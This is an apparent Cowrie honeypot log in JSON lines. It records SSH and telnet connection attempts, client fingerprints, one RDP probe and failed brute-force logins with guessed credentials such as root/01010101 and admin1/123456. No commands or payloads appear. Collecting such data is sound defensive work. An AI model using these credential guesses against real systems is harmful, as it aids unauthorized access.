{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42242,"dst_ip":"10.17.0.5","dst_port":22,"session":"b033df7f9f6c","protocol":"ssh","message":"New connection: 45.153.34.112:42242 (10.17.0.5:22) [session: b033df7f9f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:00.311598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:00.367619Z","src_ip":"45.153.34.112","session":"b033df7f9f6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:00.543208Z","src_ip":"45.153.34.112","session":"b033df7f9f6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:00.916338Z","src_ip":"45.153.34.112","session":"b033df7f9f6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":39472,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb4d55e47825","protocol":"ssh","message":"New connection: 43.153.112.253:39472 (10.17.0.5:22) [session: bb4d55e47825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:01.664767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:01.670000Z","src_ip":"43.153.112.253","session":"bb4d55e47825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:01.738838Z","src_ip":"43.153.112.253","session":"bb4d55e47825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:02.000990Z","src_ip":"45.153.34.112","session":"b033df7f9f6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01010101","message":"login attempt [root/01010101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:02.043852Z","src_ip":"43.153.112.253","session":"bb4d55e47825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.98952889442444,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:02.966984Z","src_ip":"192.119.13.58","session":"759640e44a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:03.116474Z","src_ip":"43.153.112.253","session":"bb4d55e47825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42256,"dst_ip":"10.17.0.5","dst_port":22,"session":"f09fa5ba6624","protocol":"ssh","message":"New connection: 45.153.34.112:42256 (10.17.0.5:22) [session: f09fa5ba6624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:04.109030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:04.114382Z","src_ip":"45.153.34.112","session":"f09fa5ba6624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:04.197157Z","src_ip":"45.153.34.112","session":"f09fa5ba6624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:04.447270Z","src_ip":"45.153.34.112","session":"f09fa5ba6624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:05.539819Z","src_ip":"45.153.34.112","session":"f09fa5ba6624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42264,"dst_ip":"10.17.0.5","dst_port":22,"session":"0020f59b4692","protocol":"ssh","message":"New connection: 45.153.34.112:42264 (10.17.0.5:22) [session: 0020f59b4692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:07.971562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:07.985173Z","src_ip":"45.153.34.112","session":"0020f59b4692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:08.066785Z","src_ip":"45.153.34.112","session":"0020f59b4692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:08.314337Z","src_ip":"45.153.34.112","session":"0020f59b4692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6847882270813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:09.280535Z","src_ip":"192.119.13.58","session":"d70c108be795","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:09.581259Z","src_ip":"45.153.34.112","session":"0020f59b4692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":48670,"dst_ip":"10.17.0.5","dst_port":22,"session":"14df084c8c5e","protocol":"ssh","message":"New connection: 43.134.175.218:48670 (10.17.0.5:22) [session: 14df084c8c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:10.229130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:10.233711Z","src_ip":"43.134.175.218","session":"14df084c8c5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:10.472207Z","src_ip":"43.134.175.218","session":"14df084c8c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":48084,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5ff8d605755","protocol":"ssh","message":"New connection: 89.108.118.91:48084 (10.17.0.5:22) [session: c5ff8d605755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:10.630975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:10.636306Z","src_ip":"89.108.118.91","session":"c5ff8d605755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:10.811829Z","src_ip":"89.108.118.91","session":"c5ff8d605755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kamilla","message":"login attempt [root/kamilla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:11.251273Z","src_ip":"89.108.118.91","session":"c5ff8d605755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!q2w3e4r","message":"login attempt [root/!q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:11.454019Z","src_ip":"43.134.175.218","session":"14df084c8c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":53908,"dst_ip":"10.17.0.5","dst_port":22,"session":"95da55906d03","protocol":"ssh","message":"New connection: 45.153.34.112:53908 (10.17.0.5:22) [session: 95da55906d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:11.538804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:11.543947Z","src_ip":"45.153.34.112","session":"95da55906d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:11.626848Z","src_ip":"45.153.34.112","session":"95da55906d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:11.958748Z","src_ip":"45.153.34.112","session":"95da55906d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:12.395979Z","src_ip":"89.108.118.91","session":"c5ff8d605755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.10881781578064,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:12.617298Z","src_ip":"192.119.13.58","session":"8e0597e5630e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:12.697522Z","src_ip":"43.134.175.218","session":"14df084c8c5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:13.149358Z","src_ip":"45.153.34.112","session":"95da55906d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":62182,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ad7b2eeda19","protocol":"ssh","message":"New connection: 167.172.81.52:62182 (159.203.135.109:22) [session: 6ad7b2eeda19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:14.399492Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:14.422194Z","src_ip":"167.172.81.52","session":"6ad7b2eeda19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:14.427836Z","src_ip":"167.172.81.52","session":"6ad7b2eeda19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":53920,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a533a6e727","protocol":"ssh","message":"New connection: 45.153.34.112:53920 (10.17.0.5:22) [session: 51a533a6e727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:15.260960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:15.265161Z","src_ip":"45.153.34.112","session":"51a533a6e727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:15.354780Z","src_ip":"45.153.34.112","session":"51a533a6e727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:15.747513Z","src_ip":"45.153.34.112","session":"51a533a6e727","protocol":"ssh"}
